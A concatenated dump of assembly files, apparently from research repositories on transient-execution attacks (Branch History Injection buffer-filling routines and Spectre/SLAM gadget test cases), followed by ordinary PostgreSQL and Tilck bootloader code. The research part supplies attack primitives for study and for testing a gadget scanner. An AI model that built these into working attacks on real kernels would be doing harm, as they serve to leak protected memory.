push r12
push r13
push r14
push rbp
xor r11, r11
xor r12, r12
xor r13, r13
xor r14, r14
xor rbp, rbp
syscall
pop rbp
pop r14
pop r13
pop r12
pop r11
pop rbx
pop r15
ret
.global static_fill_bhb_call
.align 4096
static_fill_bhb_call:
# Perform 194 conditional branches to fill the BHB statically
# next call a syscall
mov rax, 1
cmp rax, 1
.rept 194
je 1f
# Some padding to not stress the BTB
.rept 3
.BYTE 0x0f, 0x1f, 0x00
.endr
1:
.endr
mov rax, rdi
mov rdi, rsi
mov rsi, rdx
mov rdx, rcx
mov rcx, r8
xor r9, r9
xor r10, r10
xor r11, r11
jmp rax
.global fill_bhb_call
fill_bhb_call:
# Perform 420 conditional branches to fill the BHB
# next jmp to the location of the 2th argument
.rept MAX_HISTORY_SIZE
movzx rax, BYTE PTR [rdi]
inc rdi
cmp rax, 1
je 1f
1:
.endr
mov rax, rsi
mov rdi, rdx
mov rsi, rcx
mov rdx, r8
mov rcx, r9
mov r8, 0
mov r9, 0
jmp rax
|
vusec/inspectre-gadget | 2,526 | experiments/dispatch-gadgets/1stage-m_show-of_css/snippet.S | #define MAX_HISTORY_SIZE 420
.intel_syntax noprefix
.section .text
# ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
# ; fill_bhb
# ; - arg 1 - rdi: ptr to history
# ; - arg 2 - rsi: syscall nr
# ; - arg 3 - rdx: syscall arg1
# ; - arg 4 - rcx: syscall arg2
# ; - arg 5 - rcx: syscall arg3
# ; - arg 6 - rcx: syscall arg4
# ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
.global fill_bhb
.global do_only_syscall
.align 4096
fill_bhb:
# Perform 420 conditional branches to fill the BHB
# rdi points to an array of 256 bytes that dictates the direction of
# all the 420 branches
.rept MAX_HISTORY_SIZE
movzx rax, BYTE PTR [rdi]
inc rdi
cmp rax, 1
je 1f
1:
.endr
push r15
mov rax, rsi
mov rdi, rdx # tfp_arg
mov r15, rcx
xor rsi, rsi
xor rdx, rdx
xor rcx, rcx
xor r8, r8
xor r9, r9
xor r10, r10
push rbx
push r11
push r12
push r13
push r14
push rbp
xor rbx, rbx
xor r11, r11
xor r12, r12
xor r13, r13
xor r14, r14
xor rbp, rbp
syscall
pop rbp
pop r14
pop r13
pop r12
pop r11
pop rbx
pop r15
ret
.global static_fill_bhb_sys
.align 4096
static_fill_bhb_sys:
# Perform 194 conditional branches to fill the BHB statically
# next call a syscall
mov rax, 1
cmp rax, 1
.rept 194
je 1f
# Some padding to not stress the BTB
.rept 3
.BYTE 0x0f, 0x1f, 0x00
.endr
1:
.endr
mov rax, rdi
mov rdi, rsi
mov rsi, rdx
mov rdx, rcx
mov r10, r8
xor r9, r9
push rbx
push r11
push r12
push r13
push r14
push r15
push rbp
xor rbx, rbx
xor r11, r11
xor r12, r12
xor r13, r13
xor r14, r14
xor r15, r15
xor rbp, rbp
syscall
pop rbp
pop r15
pop r14
pop r13
pop r12
pop r11
pop rbx
ret
.global fill_bhb_call
fill_bhb_call:
# Perform 420 conditional branches to fill the BHB
# next jmp to the location of the 2th argument
.rept MAX_HISTORY_SIZE
movzx rax, BYTE PTR [rdi]
inc rdi
cmp rax, 1
je 1f
1:
.endr
mov rax, rsi
mov rdi, rdx
mov rsi, rcx
mov rdx, r8
mov rcx, r9
mov r8, 0
mov r9, 0
jmp rax
|
vusec/inspectre-gadget | 2,425 | experiments/dispatch-gadgets/2stage-m_show-of_css/snippet.S | #define MAX_HISTORY_SIZE 420
.intel_syntax noprefix
.section .text
# ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
# ; fill_bhb
# ; - arg 1 - rdi: ptr to history
# ; - arg 2 - rsi: syscall nr
# ; - arg 3 - rdx: syscall arg1
# ; - arg 4 - rcx: syscall arg2
# ; - arg 5 - rcx: syscall arg3
# ; - arg 6 - rcx: syscall arg4
# ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
.global fill_bhb
.align 4096
fill_bhb:
# Perform 420 conditional branches to fill the BHB
# rdi points to an array of 420 bytes that dictates the direction of
# all the 420 branches
.rept MAX_HISTORY_SIZE
movzx rax, BYTE PTR [rdi]
inc rdi
cmp rax, 1
je 1f
1:
.endr
push r15
mov rax, rsi
mov rdi, rdx # tfp_arg
mov r15, rcx
xor rsi, rsi
xor rdx, rdx
xor rcx, rcx
xor r8, r8
xor r9, r9
xor r10, r10
push rbx
push r11
push r12
push r13
push r14
push rbp
xor rbx, rbx
xor r11, r11
xor r12, r12
xor r13, r13
xor r14, r14
xor rbp, rbp
syscall
pop rbp
pop r14
pop r13
pop r12
pop r11
pop rbx
pop r15
ret
.global static_fill_bhb_sys
.align 4096
static_fill_bhb_sys:
# Perform 420 conditional branches to fill the BHB statically
# next jmp to the location of the 2th argument
.rept 400
mov rax, 1
cmp rax, 1
je 1f
1:
.endr
mov rax, rdi
mov rdi, rsi
mov rsi, rdx
mov rdx, rcx
mov r10, r8
xor r9, r9
push rbx
push r11
push r12
push r13
push r14
push r15
push rbp
xor rbx, rbx
xor r11, r11
xor r12, r12
xor r13, r13
xor r14, r14
xor r15, r15
xor rbp, rbp
syscall
pop rbp
pop r15
pop r14
pop r13
pop r12
pop r11
pop rbx
ret
.global fill_bhb_call
fill_bhb_call:
# Perform 420 conditional branches to fill the BHB
# next jmp to the location of the 2th argument
.rept MAX_HISTORY_SIZE
movzx rax, BYTE PTR [rdi]
inc rdi
cmp rax, 1
je 1f
1:
.endr
mov rax, rsi
mov rdi, rdx
mov rsi, rcx
mov rdx, r8
mov rcx, r9
mov r8, 0
mov r9, 0
jmp rax
|
vusec/slam | 1,875 | slam/intel/lib/bhi.S | # Assembly code for Branch History Injection.
#
# Date: November 23, 2023
# Author: Mathé Hertogh - Vrije Universiteit Amsterdam
# Must match with HISTORY_LEN in bhi.c!
#define HISTORY_LEN 512
.intel_syntax noprefix
.section .text
# ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
# ; fill_bhb_syscall
# ; Fill the BHB with the history provided by @arg1, and subsequently perform a
# ; system call according to arguments 2-6.
# ; - arg 1 - rdi: pointer to the random history
# ; - arg 2 - rsi: syscall nr
# ; - arg 3 - rdx: syscall arg1
# ; - arg 4 - rcx: syscall arg2
# ; - arg 5 - r8: syscall arg3
# ; - arg 6 - r9: syscall arg4
# ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
.global fill_bhb_syscall
.align 4096
fill_bhb_syscall:
.rept HISTORY_LEN
movzx rax, BYTE PTR [rdi]
inc rdi
cmp rax, 1
je 1f
1:
.endr
mov rax, rsi
mov rdi, rdx
mov rsi, rcx
mov rdx, r8
mov r10, r9
syscall
ret
# ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
# ; clear_bhb_call
# ; Clear the BHB by filling it with a constant history, and subsequently calls
# ; the function provided by @arg1, passing the rest of the arguments in order.
# ; - arg 1 - rdi: pointer to the function to call
# ; - arg 2 - rsi: function arg1
# ; - arg 3 - rdx: function arg2
# ; - arg 4 - rcx: function arg3
# ; - arg 5 - r8: function arg4
# ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
.global clear_bhb_call
.align 4096
clear_bhb_call:
.rept HISTORY_LEN
mov rax, 1
cmp rax, 1
je 1f
1:
.endr
mov rax, rdi
mov rdi, rsi
mov rsi, rdx
mov rdx, rcx
mov rcx, r8
jmp rax
|
vusec/inspectre-gadget | 1,518 | tests/test-cases/disjoint_range/gadget.s | .intel_syntax noprefix
disjoint_range:
mov rax, QWORD PTR [rdi + 0x28] # Load secret
mov rsi, QWORD PTR [rsi + 0x30] # Load secret
# JE
cmp rax, 0xf
je exit
mov rcx, QWORD PTR [rax] # Transmission 0
# transmitted_secret_range_w_branches: (0x11,0xf)
mov r8, QWORD PTR [rax + 0xffffffff81000000] # Transmission 1
# transmission_range_w_branches: (0xffffffff8100000f,0xffffffff8100000f)
cmp rsi, 0xff
je exit
mov r9, QWORD PTR [rsi + rax] # Transmission 2 + 3
# Both base and transmitted secret are
# disjoint ranges, both transmissions
# should be exploitable both w/wo branches
# JG / JA
cmp rax, 0xf
jg exit
mov rdx, QWORD PTR [rax] # Transmission 4
# transmitted_secret_range_w_branches: (-INT_MAX,0xf)'
cmp rsi, 0xffff
ja exit
mov rdx, QWORD PTR [rsi] # Transmission 5
# Since we have both a disjoint (je) range and
# two separate ranges (ja), we cannnot do it exact
# transmitted_secret_range_w_branches: (0,0xffff)'
# (exact would be: (0,0xfe) + (0x100, 0xffff))
mov rbx, QWORD PTR [rsi + 0xffffffff81000000] # Transmission 6
# exploitable_w_branches: True
jmp exit
exit:
jmp 0xdead
|
vusec/inspectre-gadget | 1,372 | tests/test-cases/slam_covert/gadget.s | .intel_syntax noprefix
multiple_bb:
cmp r8, 0x0
je trans1
cmp r8, 0x1
je trans2
cmp r8, 0x2
je trans3
cmp r8, 0x3
je trans4_5
# -- exploitable gadgets
trans0:
mov r9, QWORD PTR [rdi] # load of secet
mov r10, QWORD PTR [r9 + 0x5890] # exploitable w slam
jmp end
trans1:
mov r9, QWORD PTR [rdi] # load of secet
add r9, 0x821
shl r9, 16
add r9, 0x33
mov r10, QWORD PTR [r9] # exploitable w slam
jmp end
trans2:
mov r9, QWORD PTR [rdi] # load of secet
and rax, 0xff
mov r10, QWORD PTR [r9 + 0x20 + rax] # exploitable w slam
jmp end
trans3:
mov r9, QWORD PTR [rdi] # load of secet
mov r10, QWORD PTR [r9 + 0xffffffff81000000] # we assume it is
# exploitable, it is only not exploitable if
# r9[64:32] == 0
jmp end
# -- not exploitable gadgets
trans4_5:
mov r9, QWORD PTR [rdi] # load of secet
shl r9, 9
mov r10, QWORD PTR [r9] # not exploitable w slam
# due the shift
mov r9d, DWORD PTR [rdi] # load of secet
mov r11, QWORD PTR [r9 + 0xffffffff81000000] # not exploitable w slam
# exploitable, bit 47 and 63 should be zero
jmp end
end:
jmp 0xdead
|
vusec/einstein | 1,522 | apps/postgresql-15.1/src/backend/port/tas/sunstudio_sparc.s | !-------------------------------------------------------------------------
!
! sunstudio_sparc.s
! compare and swap for Sun Studio on Sparc
!
! Portions Copyright (c) 1996-2022, PostgreSQL Global Development Group
! Portions Copyright (c) 1994, Regents of the University of California
!
! IDENTIFICATION
! src/backend/port/tas/sunstudio_sparc.s
!
!-------------------------------------------------------------------------
! Fortunately the Sun compiler can process cpp conditionals with -P
! '/' is the comment for x86, while '!' is the comment for Sparc
#if defined(__sparcv9) || defined(__sparc)
.section ".text"
.align 8
.skip 24
.align 4
.global pg_atomic_cas
pg_atomic_cas:
! "cas" only works on sparcv9 and sparcv8plus chips, and
! requires a compiler targeting these CPUs. It will fail
! on a compiler targeting sparcv8, and of course will not
! be understood by a sparcv8 CPU. gcc continues to use
! "ldstub" because it targets sparcv7.
!
! There is actually a trick for embedding "cas" in a
! sparcv8-targeted compiler, but it can only be run
! on a sparcv8plus/v9 cpus:
!
! http://cvs.opensolaris.org/source/xref/on/usr/src/lib/libc/sparc/threads/sparc.il
!
! NB: We're assuming we're running on a TSO system here - solaris
! userland luckily always has done so.
#if defined(__sparcv9) || defined(__sparcv8plus)
cas [%o0],%o2,%o1
#else
ldstub [%o0],%o1
#endif
mov %o1,%o0
retl
nop
.type pg_atomic_cas,2
.size pg_atomic_cas,(.-pg_atomic_cas)
#endif
|
vvaltchev/tilck | 8,506 | boot/legacy/boot.S | /* SPDX-License-Identifier: BSD-2-Clause */
.intel_syntax noprefix
#include <tilck_gen_headers/config_global.h>
#include <tilck_gen_headers/config_boot.h>
#define BASE_LOAD_SEG 0x07C0 /* x86 BIOS constant, do *not* touch */
.org 0x0000
.global _start
.section .text
.code16
_start:
jmp reloc
/* Fill the gap with nops since bios_parameter_pack has to be at offset +0x0B */
.space 0x0B - (.-_start)
bios_parameter_pack:
.space 32 /* Leave just enough space for a DOS EBPB 3.2 */
reloc:
cli # Disable interrupts
cld # The default direction for string operations
# will be 'up' - incrementing address in RAM
# relocate to BL_ST2_DATA_SEG
mov ax, BASE_LOAD_SEG
mov ds, ax
mov ax, BL_ST2_DATA_SEG
mov es, ax
xor si, si # si = 0
xor di, di # di = 0
mov cx, 256 # 256 words = 512 bytes
rep movsw
jmp BL_ST2_DATA_SEG:after_reloc
after_reloc:
xor ax, ax
mov ss, ax # Set stack segment
mov sp, 0xFFF0 # Set stack pointer
sti # Restore interrupts
mov ax, BL_ST2_DATA_SEG # Update ds to match the new cs segment.
mov ds, ax
mov [current_device], dl # Save the current device
mov si, offset str_loading
call print_string
xor ax, ax
mov es, ax
mov di, ax
mov dl, [current_device]
mov ah, 0x8 # read drive parameters
int 0x13
jc error_end
# read drive params: OK
xor ax, ax
mov al, dh
inc al # DH contains MAX head num, so we have to add +1.
mov [heads_per_cylinder], ax
mov ax, cx
and ax, 63 # last 6 bits
mov [sectors_per_track], ax # Actual number of sectors, NOT number_of - 1.
# Reason: CHS sectors start from 1, not zero.
xor ax, ax
mov al, ch # higher 8 bits of CX = lower bits for cyclinders count
and cx, 192 # bits 6 and 7 of CX = higher 2 bits for cyclinders count
shl cx, 2 # bugfix: before, the left shift was 8.
or ax, cx
inc ax # the 10 bits in CX are the MAX cyl number, so we have to add +1.
mov [cylinders_count], ax
.load_loop:
mov eax, [curr_sec]
call lba_to_chs
mov ax, [curr_data_seg]
mov es, ax
mov bx, [curr_sec]
shl bx, 9 # Sectors read are stored in ES:BX
# bx *= 512 * curr_sec
mov ah, 0x02 # Params for int 13h: read sectors
mov al, 1 # Read just 1 sector at time
int 0x13
jc error_end
mov ax, [curr_sec]
# We read all the sectors we needed: loading is over.
cmp ax, BOOT_SECTORS
je .load_OK
inc ax # we read just 1 sector at time
mov [curr_sec], ax
# If the current sector num have the bits 0-7 unset,
# we've loaded 128 sectors * 512 bytes = 64K.
# We have to change the segment in order to continue.
#
# NOTE: at the moment we don't need to load more then 64 KB here, but it's
# better to just leave the code to support that, in case it is necessary
# in the future.
and ax, 0x7F
test ax, ax
jne .load_loop # JMP if ax != 0
mov ax, [curr_data_seg]
# Increment the segment by 4K => 64K in plain address space
add ax, 0x1000
mov [curr_data_seg], ax
jmp .load_loop
.load_OK:
jmp BL_ST2_DATA_SEG:stage2_entry
error_end:
mov si, offset str_failed
call print_string
cli
hlt # hang forever
# MBR data
.space 218 - (.-_start), 0x00 # Pad for disk time stamp
.space 6, 0x00 # Disk Time Stamp (aka "mistery bytes")
# See http://thestarman.pcministry.com/asm/mbr/mystery.htm
.space 224 - (.-_start), 0x00 # Pad for the beginning of the 2nd code area.
#
#
# SOME SPACE FOR CODE and DATA
#
#
# -----------------------------------------------------------
# DATA (variables)
# -----------------------------------------------------------
sectors_per_track: .long 0
heads_per_cylinder: .long 0
cylinders_count: .word 0
curr_data_seg: .word BL_ST2_DATA_SEG
current_device: .word 0
curr_sec: .long 1
str_loading: .asciz "Loading... "
str_failed: .asciz "FAILED\r\n"
##############################################
# Utility functions
##############################################
lba_to_chs: # Calculate head, track and sector settings for int 13h
# IN: LBA in EAX
# OUT: correct registers for int 13h
push ebx
push eax
mov ebx, eax # Save logical sector
# DIV {ARG}
# divides DX:AX by {ARG}
# quotient => AX
# reminder => DX
xor edx, edx # First the sector
div dword ptr [sectors_per_track]
inc edx # Physical sectors start at 1
mov cl, dl # Sectors belong in CL for int 13h
and cl, 63 # Make sure the upper two bits of CL are unset
mov eax, ebx # reload the LBA sector in AX
xor edx, edx # reset DX and calculate the head
div dword ptr [sectors_per_track]
xor edx, edx
div dword ptr [heads_per_cylinder]
mov dh, dl # Head
mov ch, al # Cylinder
shr ax, 2 # Move the 2 higher bits of cylinder down
and ax, 192 # make only bits 6 and 7 to remain
or cl, al # OR those two bits in CL, since its 2 upper-bits
# are the upper bits of cylinder.
pop eax
pop ebx
mov dl, [current_device] # Set correct device
ret
print_string:
push ax # save AX for the caller
mov ah, 0x0E # int 10h 'print char' function
.repeat:
lodsb # Get character from string
test al, al
je .done # If char is zero, end of string
int 0x10 # Otherwise, print it
jmp .repeat
.done:
pop ax
ret
########################################################################
.space 436 - (.-_start), 0x90 # Pad for MBR Partition Table
.byte 0x00, 0x00, 0x00, 0x00 # Unknown
.long DISK_UUID # Unique Disk ID (UUID)
.byte 0x00, 0x00 # Reserved. 0x5A, 0x5A if read-only
PT1: .space 16, 0x00 # 1st Partition Entry
PT2: .space 16, 0x00 # 2nd Partition Entry
PT3: .space 16, 0x00 # 3rd Partition Entry
PT4: .space 16, 0x00 # 4th Partition Entry
.space 510-(.-_start), 0 # Pad remainder of boot sector with 0s
.word 0xAA55 # Standard PC boot signature
# -------------------------------------------------------------
#
# STAGE 2
#
# -------------------------------------------------------------
# The code above has loaded this code at absolute address 0x20000
# now we have more than 512 bytes to execute.
stage2_entry:
# Set all segments to match where this code is loaded
mov ax, BL_ST2_DATA_SEG
mov es, ax
mov fs, ax
mov gs, ax
mov ah, 0x0 # set video mode
mov al, 0x3 # 80x25 mode
int 0x10
# Hello message, just a "nice to have"
mov si, offset str_hello
call print_string
call smart_enable_A20
enter_32bit_protected_mode:
cli
lidt [idtr]
lgdt [gdtr_flat]
# enable protected mode
mov eax, cr0
or al, 1
mov cr0, eax
# Use 0x66 (Operand Size Override Prefix) before push and retf to use the
# 32-bit version of those instructions. That is NECESSARY if we want to do
# a 32-bit far jump. Otherwise, the complete_flush code has to be copied to
# a low address (< 64 K), in order to the 16-bit far jump to able able to get
# there. Or, in alternative, we'd need to setup first a non-flat GDT with
# BASE = BL_ST2_DATA_SEG * 16 for all the segments, then we'd need to load
# the "flat GDT" with BASE = 0 and perform another far RET.
mov eax, (offset BL_ST2_DATA_SEG * 16 + complete_flush)
push 0x08
.byte 0x66
push eax
.byte 0x66
retf
.code32
complete_flush:
mov ax, 0x10
mov ds, ax
mov es, ax
mov fs, ax
mov gs, ax
mov ss, ax
# Move in dx the current device
mov dx, [BL_ST2_DATA_SEG * 16 + current_device]
# jump to the 3rd stage of the bootloader
jmp 0x08:BL_BASE_ADDR
#########################################################
gdt32_flat:
.byte 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 # NULL segment
.byte 0xFF, 0xFF, 0x00, 0x00, 0x00, 0x9A, 0xCF, 0x00 # code base = 0
.byte 0xFF, 0xFF, 0x00, 0x00, 0x00, 0x92, 0xCF, 0x00 # data base = 0
gdtr_flat:
.word 0x23
.long (BL_ST2_DATA_SEG * 16 + offset gdt32_flat)
idtr:
.word 0
.long 0
str_hello:
.asciz "Hello, I am the 2nd stage-bootloader!\r\n"
|
vvaltchev/tilck | 2,316 | boot/legacy/boot_enable_a20.S | # SPDX-License-Identifier: CC0-1.0
.intel_syntax noprefix
.section .text
.global smart_enable_A20
.code16
# Function: check_a20
#
# Purpose:
# to check the status of the a20 line in a completely self-contained
# state-preserving way. The function can be modified as necessary by removing
# push's at the beginning and their respective pop's at the end if complete
# self-containment is not required.
#
# Returns:
# 0 in ax if the a20 line is disabled (memory wraps around)
# 1 in ax if the a20 line is enabled (memory does not wrap around)
#
# Source: https://wiki.osdev.org/A20_Line
check_a20:
pushf
push ds
push es
push di
push si
cli
xor ax, ax # ax = 0
mov es, ax
not ax # ax = 0xFFFF
mov ds, ax
mov di, 0x0500
mov si, 0x0510
mov al, es:[di]
push ax
mov al, ds:[si]
push ax
mov byte ptr es:[di], 0x00
mov byte ptr ds:[si], 0xFF
cmp byte ptr es:[di], 0xFF
pop ax
mov byte ptr ds:[si], al
pop ax
mov byte ptr es:[di], al
mov ax, 0
je .check_a20__exit
mov ax, 1
.check_a20__exit:
pop si
pop di
pop es
pop ds
popf
ret
# Source: https://wiki.osdev.org/A20_Line
enable_A20_bios:
mov ax, 0x2401
int 0x15
ret
# Source: https://wiki.osdev.org/A20_Line
enable_A20_kb:
cli
call .a20wait
mov al,0xAD
out 0x64,al
call .a20wait
mov al,0xD0
out 0x64,al
call .a20wait2
in al,0x60
push eax
call .a20wait
mov al,0xD1
out 0x64,al
call .a20wait
pop eax
or al,2
out 0x60,al
call .a20wait
mov al,0xAE
out 0x64,al
call .a20wait
sti
ret
.a20wait:
in al,0x64
test al,2
jnz .a20wait
ret
.a20wait2:
in al,0x64
test al,1
jz .a20wait2
ret
# Source: https://wiki.osdev.org/A20_Line
enable_A20_fast_gate:
in al, 0x92
test al, 2
jnz .after
or al, 2
and al, 0xFE
out 0x92, al
.after:
ret
smart_enable_A20:
call check_a20
cmp ax, 0
jne .end
call enable_A20_bios
call check_a20
cmp ax, 0
jne .end
call enable_A20_kb
call check_a20
cmp ax, 0
jne .end
call enable_A20_fast_gate
call check_a20
cmp ax, 0
jne .end
.end:
ret
|
vvaltchev/tilck | 2,030 | boot/efi/x86_64/switchmode.S | # SPDX-License-Identifier: BSD-2-Clause
.intel_syntax noprefix
#include <tilck_gen_headers/config_global.h>
#define MULTIBOOT_BOOTLOADER_MAGIC 0x2BADB002
.global switch_to_pm32_and_jump_to_kernel
.section .text
.code64
switch_to_pm32_and_jump_to_kernel:
# arg1 in RDI: mbi
# arg2 in RSI: kernel's entry point
cli
lea rcx, [rip + gdtr + 2] # rcx = gdtr + 2 (using rip addressing)
lea rdx, [rip + gdt32] # rdx = gdt32 (using rip addressing)
mov [rcx], rdx # *rcx = rdx [gdtr->ptr = gdt32]
lgdt [rip + gdtr] # lgdt [gdtr]
lea rdx, [rip + compat32]
push 0x08
push rdx
rex.W retf # perform a 64-bit far ret (=> far jmp to 0x08:compat32)
.code32
compat32:
# Here we are in a compatibility 32 bit mode of long mode
# so, we're using 32 bit, but we're still (kind of) in long mode.
mov cx, 0x10
mov ds, cx
mov es, cx
mov fs, cx
mov gs, cx
mov ss, cx
mov esp, 0xFFF0
# Disable Paging to get out of Long Mode
mov ecx, cr0 # Read CR0.
and ecx, 0x7fffffff # disable paging
mov cr0, ecx # Write CR0.
# Deactivate Long Mode
push eax
mov ecx, 0xC0000080 # EFER MSR number.
rdmsr # Read EFER.
btc eax, 8 # Set LME=0.
wrmsr # Write EFER.
pop eax
mov ecx, cr4
and ecx, 0xFFFFFFDF # disable PAE
mov cr4, ecx
xor ecx, ecx
mov cr3, ecx # it's a good practice to reset cr3, as well
mov eax, MULTIBOOT_BOOTLOADER_MAGIC
mov ebx, edi # edi: arg1 = mbi
push 0x08
push esi # esi: arg2 = kernel's entry point
# Jump to kernel's entry point and enter in proper "32-bit protected mode"
retf
.align 8
gdt32:
.byte 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 # sel 0x00.
.byte 0xFF, 0xFF, 0x00, 0x00, 0x00, 0x9A, 0xCF, 0x00 # sel 0x08. 32-bit code
.byte 0xFF, 0xFF, 0x00, 0x00, 0x00, 0x92, 0xCF, 0x00 # sel 0x10. 32-bit data
gdtr:
.word 0x23
.quad 0
# Tell GNU ld to not worry about us having an executable stack
.section .note.GNU-stack,"",@progbits
|
vvaltchev/tilck | 5,654 | boot/legacy/stage3/rm_calls.S | # SPDX-License-Identifier: BSD-2-Clause
.intel_syntax noprefix
#include <tilck_gen_headers/config_global.h>
#include <tilck_gen_headers/config_boot.h>
# Usable (un)real mode functions
.code16
.global realmode_test_out
.global realmode_int_10h
.global realmode_int_13h
.global realmode_int_15h
.global realmode_int_16h
realmode_test_out:
mov eax, 2*1024*1024
mov ebx, 99
mov ecx, 100
mov edx, 102
mov esi, 300
mov edi, 350
ret
realmode_int_10h:
int 0x10
ret
realmode_int_13h:
int 0x13
ret
realmode_int_15h:
int 0x15
ret
realmode_int_16h:
int 0x16
ret
#############################################################################
lba_to_chs: # Calculate head, track and sector settings for int 13h
# IN: LBA in EAX
# OUT: correct registers for int 13h
push ebx
push edi
push eax # Save LBA
# DIV {ARG}
# divides DX:AX by {ARG}
# quotient => AX
# reminder => DX
mov ebx, (offset sectors_per_track - BL_BASE_ADDR)
mov ebx, [bx]
xor edx, edx # First the sector
div ebx # ax = LBA / sectors_per_track
inc edx # Physical sectors start at 1
mov cl, dl # Sectors belong in CL for int 13h
and cl, 63 # Make sure the upper two bits of CL are unset
pop eax # reload the LBA sector in AX
xor edx, edx # reset DX and calculate the head
div ebx # ax = LBA / sectors_per_track
mov ebx, (offset heads_per_cylinder - BL_BASE_ADDR)
mov ebx, [bx]
xor edx, edx
div ebx # ax = (LBA / sectors_per_track) / heads_per_cylinder
mov dh, dl # Head
mov ch, al # Cylinder
shr ax, 2 # Move the 2 higher bits of cylinder down
and ax, 192 # make only bits 6 and 7 to remain
or cl, al # OR those two bits in CL, since its 2 upper-bits
# are the upper bits of cylinder.
mov edi, (offset current_device - BL_BASE_ADDR)
mov dl, [di] # Set correct device
pop edi
pop ebx
ret
#define TEMP_DATA_SEGMENT 0x1000
#
# Input:
#
# eax => dest paddr
# ebx => first logical sector
# ecx => last logical sector (inclusive)
#
.global realmode_read_sectors
realmode_read_sectors:
mov edi, (offset ramdisk_dest_addr32 - BL_BASE_ADDR)
mov [di], eax
mov edi, (offset curr_sec - BL_BASE_ADDR)
mov [di], ebx
mov edi, (offset last_sec - BL_BASE_ADDR)
mov [di], ecx
push es
mov ax, TEMP_DATA_SEGMENT
mov es, ax # set the destination segment
.load_vdisk_loop:
mov ebx, (offset curr_sec - BL_BASE_ADDR)
mov eax, [bx]
mov ebx, (offset last_sec - BL_BASE_ADDR)
mov ebx, [bx]
inc ebx
sub ebx, eax # ebx = remaining sectors to read
mov edi, (offset sectors_per_track - BL_BASE_ADDR)
mov ecx, [di] # ecx = max sectors per read
cmp ebx, ecx # compare 'remaining sectors' with 'max sectors'
jge .many_sectors_remaining
# A few sectors remaining
# NOTE: In 'bl' we already have the number of sectors value we need
jmp .call_lba_to_chs
.many_sectors_remaining:
mov bx, cx # set sectors to read to MAX (=> sectors per track)
.call_lba_to_chs:
push bx
call lba_to_chs
pop bx
# save the CHS parameters for error messages
mov edi, (offset saved_cx - BL_BASE_ADDR)
mov esi, (offset saved_dx - BL_BASE_ADDR)
mov [di], cx
mov [si], dx
mov ah, 0x02 # Params for int 0x13: read sectors in ES:BX
mov al, bl # Set number of sectors to read
mov bx, 0 # set the destination offset
int 0x13
jc read_error
mov edi, (offset actual_sectors_read - BL_BASE_ADDR)
mov [di], al # save the actual number of sectors read
mov edi, (offset ramdisk_dest_addr32 - BL_BASE_ADDR)
mov edi, [di] # dest flat addr
mov esi, (TEMP_DATA_SEGMENT * 16) # src flat addr
mov edx, esi # edx = TEMP segment flat addr
mov ebx, (offset actual_sectors_read - BL_BASE_ADDR)
mov eax, [bx] # eax = actual_sectors_read
mov ebx, (offset curr_sec - BL_BASE_ADDR)
add [bx], eax # curr_sec += actual_sectors_read
shl eax, 9 # eax *= 512 (SECTOR_SIZE)
# eax = total bytes read in this iter
mov ebx, (offset ramdisk_dest_addr32 - BL_BASE_ADDR)
add [bx], eax # ramdisk_dest_addr32 += tot_bytes
add edx, eax # edx = TEMP_DATA_SEGMENT + tot_bytes
.copy_loop:
mov ebx, fs:[esi] # copy src data in ebx
mov fs:[edi], ebx # copy ebx in dest ptr
add edi, 4
add esi, 4
cmp esi, edx
jle .copy_loop
mov ebx, (offset curr_sec - BL_BASE_ADDR)
mov ebx, [bx]
mov edi, (offset last_sec - BL_BASE_ADDR)
mov ecx, [di]
cmp ebx, ecx
jl .load_vdisk_loop
# Loading of RAMDISK completed.
mov eax, 0
jmp end
read_error:
mov edi, (offset current_device - BL_BASE_ADDR)
mov ah, 0x01 # Get Status of Last Drive Operation
mov dl, [di]
int 0x13
# We have now in AH the last error
end:
pop es
ret
#####################################
# Data
.global curr_sec
curr_sec: .long 0
last_sec: .long 0
actual_sectors_read: .long 0
ramdisk_dest_addr32: .long 0
# Tell GNU ld to not worry about us having an executable stack
.section .note.GNU-stack,"",@progbits
|
vvaltchev/tilck | 8,063 | boot/legacy/stage3/entry.S | # SPDX-License-Identifier: BSD-2-Clause
.intel_syntax noprefix
#include <tilck_gen_headers/config_global.h>
#include <tilck_gen_headers/config_boot.h>
.section .text
.global _start
.global main
.global realmode_call_asm
_start:
main:
# Clear the direction flag since the C compiler has the right
# to assume that is set to 0 (forward).
cld
# Set the stack for the 3rd stage of the bootloader
mov esp, 0x0003FFF0
# Zero the BSS
mov edi, offset __bss_start
mov ecx, offset __bss_end
sub ecx, edi
xor eax, eax
rep stosb
# Save current device's number
mov [current_device], dl
call setup_realmode_ivt
# Jump to bootloader's main
jmp bootloader_main
# Actually, in our case it's "unreal" mode
realmode_call_asm:
pusha
mov [saved_pm32_esp], esp
mov eax, [esp + 36] # arg1 : func to call
mov [realmode_func_addr], eax
mov ecx, 7
lea esi, [esp + 40]
mov edi, offset realmode_func_eax_ref
rep movsd
# load the new gdt, with 16-bit entries + 32-bit data (entry 0x10)
lgdt [gdtr16]
# Jump to a CODE16 segment
# Note: we haven't touched the 'fs' segment register.
# It will remain "cached" as a 32-bit selector (we want UNREAL mode).
mov ax, 0x10
mov ds, ax
mov ss, ax
mov es, ax
mov gs, ax
# Note(2): we're jumping to 'code16_seg' with addressing relative to 0,
